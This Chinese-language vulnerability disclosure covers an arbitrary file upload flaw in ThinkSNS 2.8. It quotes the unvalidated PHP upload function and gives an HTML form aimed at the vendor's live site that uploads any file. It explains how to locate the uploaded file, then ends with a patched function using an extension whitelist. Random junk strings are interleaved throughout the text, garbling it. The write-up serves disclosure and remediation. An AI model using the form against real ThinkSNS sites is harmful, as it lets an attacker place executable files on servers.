ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
4 D. `# x5 w9 W) ]8 Z5 x

\api\StatusesApi.class.php
1 i0 H% T7 v* c9 ~) n
! P% R- [+ l& n. U- m/ Rfunction uploadpic(){
      if( $_FILES['pic'] ){
     //执行上传操作
; w+ t+ f! E/ V& e, T     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
6 [* c; Z3 O% O6 X# D1 [    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
- _- T2 ^3 R7 C- Q0 C( D, r        $result['boolen']    = 0;
        $result['message']   = '上传失败';
7 S% S8 R6 ~/ ]2 B, v. P! d8 E- a       }
. ~; d4 c: E; y; }     }else{
1 l1 c1 s0 `& N- q- X         $result['boolen']    = 0;
         $result['message']   = '上传失败';
, w: p- Y* O/ M2 i     }
return $result;
    }
5 a. M4 {1 P4 \unloadpic()方法没有对文件类型进行验证

可以构建表单, 选择任意文件, 提交到
7 h- j$ S- j: `/index.php?app=w3g&mod=Index&act=doPost
% s; U; f$ T( [9 _8 h9 i9 F. e! W% `. t
4 R8 G6 \$ }- V9 z) y3 i0 D7 m# X在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
+ p- w% H- {+ f( C. k! c
5 g) X, V* ]5 ]: L9 ^+ n
在登录thinksns官方微博后,
构建以下表单:
: {3 D$ }# ^4 m' Z+ J) D
! o* a" y. X8 X8 v4 i0 V6 Q& |<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
/ a+ f+ E  G3 @& C/ P7 W$ }( d( s<textarea name="content">test</textarea>
7 o( L. E4 q1 Ofile: <input id="file" type="file" name="pic" />
. I/ K7 ~' v$ X5 u( u<input type="submit" value="Post" />
</form>
去掉缩略图的前缀(small_ )
% ?1 y" q! r& ]0 u! C7 w​修复方案：

# o/ u7 Y  n! W+ L9 e0 E
* ?* `: }$ w9 V\api\StatusesApi.class.php
% E# O# j- o! w  S+ c: t( M2 o5 H3 {
function uploadpic(){
3 G& r" A2 \+ x: n- o4 ?6 o: w     /**
      * 20121018 @yelo
$ l/ J7 q6 J) M# X7 W+ |& Z      * 增加上传类型验证
& ~. u! D1 u& ?: X' g* V" m, e      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
$allowExts = array('jpg', 'png', 'gif', 'jpeg');

- b' K) b1 Z. @: K     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
0 N% C9 i* N. e% M! P" c2 D* G
     if( $uploadCondition ){
     //执行上传操作
# [# l; B* d: \. g4 C) `     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
/ H% t- }* s3 |    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
" f/ k) _! e' b' f       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
* @1 p6 t+ K  L: E2 O        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
, l1 s% d# _. r8 L        $result['boolen']    = 0;
        $result['message']   = '上传失败';
" \* @6 o; K; Q  O       }
* X! S2 S" x: E; L     }else{
         $result['boolen']    = 0;
! k5 ]* p( _2 w# _         $result['message']   = '上传失败';
     }
/ h' [9 r7 O1 j: @return $result;
    }
​
4 l# E; B4 _9 p5 X
' i/ ?" M' N: {: ]& G